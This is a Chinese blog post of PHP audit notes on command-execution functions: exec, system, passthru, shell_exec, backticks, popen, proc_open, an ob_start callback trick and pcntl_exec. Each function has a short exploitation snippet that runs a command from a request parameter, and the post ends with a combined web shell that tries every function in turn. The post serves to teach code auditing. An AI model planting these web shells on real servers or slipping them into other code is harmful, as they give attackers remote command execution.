审计基础-PHP命令执行

1. 命令执行

1.1 程序执行函数

程序执行函数
这些函数和 执行运算符 是紧密关联的。 因此,当运行在 安全模式 时,你必须考虑 safe_mode_exec_dir指示

exec

PHP 457
exec — 执行一个外部程序
exec ( string $command ) : string
返回命令执行结果的最后一行内容,实际不echo出来的话回显为空

利用:

<?php echo exec($_GET["c"]);?>
?c=ls

https://www.php.net/manual/zh/function.exec.php

passthru

PHP 457
passthru — 执行外部程序并且显示原始输出
passthru ( string $command ) : void

利用:

<?php passthru($_GET['c']);?>
?c=ls

https://www.php.net/manual/zh/function.passthru.php

proc_open

PHP 457
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
proc_open ( string $cmd , array $descriptorspec , array &$pipes ) : resource

利用:

<?php
$command=$_GET['c'];
$descriptorspec = array(1 => array("pipe", "w"),);
$handle = proc_open($command,$descriptorspec,$pipes);
echo fread($pipes[1], 1024);

?c=ls

https://www.php.net/manual/zh/function.proc-open.php

shell_exec

PHP 457
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
shell_exec ( string $cmd ) : string

利用:

<?php echo shell_exec($_GET['c']);?>
?c=ls

https://www.php.net/manual/zh/function.shell-exec.php

执行运算符-反引号``

`command`

反引号中的内容作为 shell 命令执行,并返回输出信息
等同shell_exec(),shell_exec()被禁则无效
需要echo回显

<?php
$c=$_GET['c'];
echo `$c`;

?c=ls

反引号在双引号字符串中不起命令执行作用
https://www.php.net/manual/zh/language.operators.execution.php

system

PHP 457
system — 执行外部程序,并且显示输出
system ( string $command ) : string

利用:

<?php system($_GET["c"]);?>
?c=ls

https://www.php.net/manual/zh/function.system.php

1.2 文件系统函数

popen

PHP 457
popen — 打开进程文件指针
popen ( string $command , string $mode ) : resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 'r',返回的文件指针等于命令的 STDOUT。

利用

<?php
$handle = popen($_GET['c'],"r");
echo fread($handle,1024);

?c=ls

1.3 Output Control 函数

ob_start

基于其他命令执行函数使用

PHP 457<7.4
ob_start — 打开输出控制缓冲
ob_start ([ callback $output_callback ]) : bool
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

利用:

<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>
?a=whoami
只输出命令执行结果的第一行

分析:
ob_start的$output_callback参数是函数类型
可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器

在上述利用中,output_callback的值为system,然后将参数a的内容whoami写入了缓存[输出缓冲区],所以在flush时会调用system函数,或者不用flush,在脚本结束时同样也会调用system,缓存中的内容whoami作为参数传递给了system,效果就是system("whoami"),然后再将执行结果输出到浏览器中。

简述就是:ob_start开启缓冲区,后面的所有输出echo都会存入缓冲区中,ob_end_flush结束缓冲区时,调用ob_start的参数system函数,并将缓冲区中的内容$_GET[a]作为参数传递给system函数

下面是关于php的output_buffering(ob)机制

php output_buffering
buffer是一个内存地址空间,Linux系统默认大小一般为4096(4kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的设备之间传办理数据的区域。通过buffer,可以使进程之间的相互等待变少。这里说一个通俗一点的例子,你打开文本编辑器编辑一个文件的时候,你每输入一个字符,操作系统并不会立即把这个字符直接写入到磁盘,而是先写入到buffer,当写满了一个buffer的时候,才会把buffer中的数据写入磁盘,当然当调用内核函数flush()的时候,强制要求把buffer中的脏数据写回磁盘。

同样的道理,当php执行echo,print的时候,输出并没有立即通过tcp传给客户端浏览器显示,而是将数据写入php buffer。php output_buffering机制,意味在tcp buffer之前,建立了一新的队列,数据必须经过该队列。当一个php buffer写满的时候,脚本进程会将php buffer中的输出数据交给系统内核交由tcp传给浏览器显示。所以,数据会依次写到这几个地方echo/pring -> php buffer -> tcp buffer -> browser。

默认情况下,php buffer是开启的,而且该buffer默认值是4096,即4kb。你可以通过在php.ini配置文件中找到output_buffering配置。当echo,print等输出用户数据的时候,输出数据都会写入到php output_buffering中,直到output_buffering写满,会将这些数据通过tcp传送给浏览器显示。你也可以通过ob_start()手动激活php output_buffering机制,使得即便输出超过了4kb数据,也不真的把数据交给tcp传给浏览器,因为ob_start()将php buffer空间设置到了足够大。只有直到脚本结束,或者调用ob_end_flush函数,才会把数据发送给客户端浏览器。

https://www.php.net/manual/zh/function.ob-start
https://blog.csdn.net/tonyxf121/article/details/7973798

1.4 PCNTL 函数

pcntl_exec

PHP 457
pcntl_exec — 在当前进程空间执行指定程序
pcntl_exec ( string $path [, array $args ] ) : void
以给定参数执行程序。
path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/bin 的sh脚本)
args是一个要传递给程序的参数的字符串数组

利用

<?php $c=array('-al');pcntl_exec('/usr/bin/ls',$c);

2. 大一统

来自卿师傅
缺了extract和pcntl_exec

<?php
$command=$_GET['cmd'];
#function exec_all($command)
#{
    
//system函数可执行并直接显示结果
if(function_exists('system'))
{
    echo "<pre>";
    system($command);
    echo "</pre>";
}
 
//passthru函数可执行并直接显示结果
else if(function_exists('passthru'))
{
    echo "<pre>";
    passthru($command);
    echo "</pre>";
}
 
//shell_exec函数可执行但需要加echo才能显示结果
else if(function_exists('shell_exec'))
{
    echo "<pre>";
    echo shell_exec($command);
    echo "</pre>";
}
 
//function exec(命令,以数组形式的保存结果,命令执行的状态码)
//可执行,但需要加echo才能显示结果
else if(function_exists('exec'))
{  
    echo "<pre>";
    exec($command,$output);
    echo "</br>";
    print_r($output);
    echo "</pre>";
}
 
//popen函数:打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。
//返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)
//此指针可以用于 fgets(),fgetss() 和 fwrite()。并且必须用 pclose() 来关闭。
//若出错,则返回 false。
else if(function_exists('popen'))
{
    $handle = popen($command , "r"); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {
                echo fread($handle, 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {       
                echo fgets($handle,1024);
            }
            echo "<pre>";
        }
    }
    pclose($handle);
}
 
//proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
else if(function_exists('proc_open'))
{
    $descriptorspec = array(
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {       
                echo fgets($pipes[1],1024);
            }
            echo "<pre>";
        }
    }
    #pclose($handle);
}
 
else
{
    echo 'GG';
}
<?php
$cmd=$_POST['cmd'];
echo "<pre>";
 
//可执行并直接显示结果,反引号,波浪键。
//shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
//所以如果把shell_exec()函数禁用了,反撇号 (`)也是执行不了命令的。
echo `$cmd`;
 
 
//注意,这个只显示结果的第一行,因此基本只能执行whoami
//ob_start:打开缓冲区,需要system函数开启
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
 
echo "</pre>";

3. 参考

https://www.cnblogs.com/-qing-/p/10819069.html
https://blog.csdn.net/tonyxf121/article/details/7973798
https://www.php.net/manual/zh/

posted @ 2020-09-23 19:07  雨九九  阅读(644)  评论(0编辑  收藏  举报